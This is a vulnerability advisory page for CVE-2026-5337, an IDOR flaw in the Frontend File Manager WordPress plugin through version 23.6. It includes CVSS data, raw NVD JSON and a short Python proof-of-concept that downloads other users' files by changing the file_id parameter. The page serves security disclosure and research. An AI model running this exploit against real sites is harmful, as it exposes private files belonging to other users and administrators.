Security Vulnerability Report
中文
CVE-2026-5337 CVSS 6.5 MEDIUM

CVE-2026-5337

Published: 2026-05-03 07:16:25
Last Modified: 2026-05-04 15:23:20

Description

During the analysis, it was identified that authenticated attackers with Subscriber-level access or higher are able to perform an Insecure Direct Object Reference (IDOR) attack. This vulnerability exists because the Frontend File Manager Plugin WordPress plugin through 23.6 does not properly validate user authorization for the requested uploaded file when processing download requests. By modifying the value of the 'file_id' parameter in the download endpoint (e.g., http://localhost/?do=wpfm_download&file_id=40&nm_file_nonce=a36fb893f1), an attacker can access files belonging to other users, including privileged users such as administrators. This allows unauthorized access/read to sensitive data stored within the application.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Frontend File Manager Plugin <= 23.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Code for CVE-2026-5337 import requests def exploit_idor(target_url, file_id, nonce, cookie): """ Exploit IDOR vulnerability to download arbitrary files. """ # Construct the malicious URL download_url = f"{target_url}/?do=wpfm_download&file_id={file_id}&nm_file_nonce={nonce}" headers = { "Cookie": cookie } try: response = requests.get(download_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded file ID: {file_id}") print(f"[+] Content-Length: {len(response.content)}") return response.content else: print(f"[-] Failed to download file. Status code: {response.status_code}") return None except Exception as e: print(f"[-] Error occurred: {e}") # Example Usage target = "http://localhost" victim_file_id = "40" malicious_nonce = "a36fb893f1" attacker_cookie = "wordpress_logged_in_xxxxx=attacker_session_value;" exploit_idor(target, victim_file_id, malicious_nonce, attacker_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5337", "sourceIdentifier": "[email protected]", "published": "2026-05-03T07:16:24.687", "lastModified": "2026-05-04T15:23:19.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "During the analysis, it was identified that authenticated attackers with Subscriber-level access or higher are able to perform an Insecure Direct Object Reference (IDOR) attack. This vulnerability exists because the Frontend File Manager Plugin WordPress plugin through 23.6 does not properly validate user authorization for the requested uploaded file when processing download requests. By modifying the value of the 'file_id' parameter in the download endpoint (e.g., http://localhost/?do=wpfm_download&file_id=40&nm_file_nonce=a36fb893f1), an attacker can access files belonging to other users, including privileged users such as administrators. This allows unauthorized access/read to sensitive data stored within the application."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://wpscan.com/vulnerability/3e28aa78-3227-474a-b1db-1f5ea2c42d14/", "source": "[email protected]"}]}}